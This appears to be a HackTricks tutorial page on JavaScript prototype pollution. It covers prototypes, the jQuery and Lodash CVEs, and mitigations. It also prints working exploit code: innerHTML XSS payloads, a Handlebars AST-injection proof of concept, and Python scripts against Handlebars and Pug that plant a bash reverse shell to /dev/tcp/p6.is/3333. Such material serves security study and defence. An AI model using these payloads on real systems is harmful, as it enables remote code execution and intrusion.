Search K
Appearance
Appearance
Other ways to support HackTricks:
Objects in JavaScript are essentially collections of key-value pairs, known as properties. An object can be created using Object.create
with null
as an argument to produce an empty object. This method allows the creation of an object without any inherited properties.
// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.
An empty object is akin to an empty dictionary, represented as {}
.
In JavaScript, classes and functions are closely linked, with functions often serving as constructors for classes. Despite JavaScript's lack of native class support, constructors can emulate class behavior.
// Run this in the developers tools console
function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}
Employee.prototype
var employee1 = new Employee("Generic Employee", "Developer");
employee1.__proto__
JavaScript allows the modification, addition, or deletion of prototype attributes at runtime. This flexibility enables the dynamic extension of class functionalities.
Functions like toString
and valueOf
can be altered to change their behavior, demonstrating the adaptable nature of JavaScript's prototype system.
In prototype-based programming, properties/methods are inherited by objects from classes. These classes are created by adding properties/methods either to an instance of another class or to an empty object.
It should be noted that when a property is added to an object serving as the prototype for other objects (such as myPersonObj
), the inheriting objects gain access to this new property. However, this property is not automatically displayed unless it is explicitly invoked.
JavaScript objects are defined by key-value pairs and inherit from the JavaScript Object prototype. This means altering the Object prototype can influence all objects in the environment.
Let's use a different example to illustrate:
function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
Access to the Object prototype is possible through:
car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;
By adding properties to the Object prototype, every JavaScript object will inherit these new properties:
function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true
For a scenario where __proto__
usage is restricted, modifying a function's prototype is an alternative:
function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true
// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;
This affects only objects created from the Vehicle
constructor, giving them the beep
, hasWheels
, honk
, and isElectric
properties.
Two methods to globally affect JavaScript objects through prototype pollution include:
Object.prototype
directly:Object.prototype.goodbye = function() { console.log("Goodbye!"); };
var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };
After these operations, every JavaScript object can execute goodbye
and greet
methods.
In an scenario where you can pollute an specific object and you need to get to Object.prototype
you can search for it with something like the following code:
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
Note that as you can pollute attributes of objects in JS, if you have access to pollute an array you can also pollute values of the array accessible by indexes (note that you cannot overwrite values, so you need to pollute indexes that are somehow used but not written).
c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
When generating a HTML element via JS it's possible to overwrite the innerHTML
attribute to make it write arbitrary HTML code. Idea and example from this writeup.
// Create element
devSettings["root"] = document.createElement('main')
// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
A prototype pollution occurs due to a flaw in the application that allows overwriting properties on Object.prototype
. This means that since most objects derive their properties from Object.prototype
The easies example is to add a value to an undefiner attribute of an object that is going to be checked, like:
if (user.admin) {
If the attribute admin
is undefined it's possible to abuse a PP and set it to True with something like:
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
The mechanism behind this involves manipulating properties such that if an attacker has control over certain inputs, they can modify the prototype of all objects in the application. This manipulation typically involves setting the __proto__
property, which, in JavaScript, is synonymous with directly modifying an object's prototype.
The conditions under which this attack can be successfully executed, as outlined in a specific study, include:
customer.__proto__.toString = ()=>{alert("polluted")}
Other payloads:
For further details check this article In jQuery, the $ .extend
function can lead to prototype pollution if the deep copy feature is utilized improperly. This function is commonly used for cloning objects or merging properties from a default object. However, when misconfigured, properties intended for a new object can be assigned to the prototype instead. For instance:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true
This vulnerability, identified as CVE-2019โ11358, illustrates how a deep copy can inadvertently modify the prototype, leading to potential security risks, such as unauthorized admin access if properties like isAdmin
are checked without proper existence verification.
For further details check this article
Lodash encountered similar prototype pollution vulnerabilities (CVE-2018โ3721, CVE-2019โ10744). These issues were addressed in version 4.17.11.
NodeJS extensively utilizes Abstract Syntax Trees (AST) in JavaScript for functionalities like template engines and TypeScript. This section explores the vulnerabilities related to prototype pollution in template engines, specifically Handlebars and Pug.
The Handlebars template engine is susceptible to a prototype pollution attack. This vulnerability arises from specific functions within the javascript-compiler.js
file. The appendContent
function, for instance, concatenates pendingContent
if it's present, while the pushSource
function resets pendingContent
to undefined
after adding the source.
Exploitation Process
The exploitation leverages the AST (Abstract Syntax Tree) produced by Handlebars, following these steps:
NumberLiteral
node, enforces that values are numeric. Prototype pollution can circumvent this, enabling the insertion of non-numeric strings.input.type
equals Program
, the input is treated as pre-parsed, which can be exploited.Object.prototype
, one can inject arbitrary code into the template function, which may lead to remote code execution.An example demonstrating the exploitation of the Handlebars vulnerability:
const Handlebars = require('handlebars');
Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];
const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);
console.log(eval('(' + template + ')')['main'].toString());
This code showcases how an attacker could inject arbitrary code into a Handlebars template.
External Reference: An issue related to prototype pollution was found in the 'flat' library, as detailed here: Issue on GitHub.
External Reference: Issue related to prototype pollution in the 'flat' library
Example of prototype pollution exploit in Python:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
Pug, another template engine, faces a similar risk of prototype pollution. Detailed information is available in the discussion on AST Injection in Pug.
Example of prototype pollution in Pug:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
To reduce the risk of prototype pollution, the strategies listed below can be employed:
Object.prototype
can be made immutable by applying Object.freeze
.Object.create(null)
.Object
, Map
should be used for storing key-value pairs.Other ways to support HackTricks: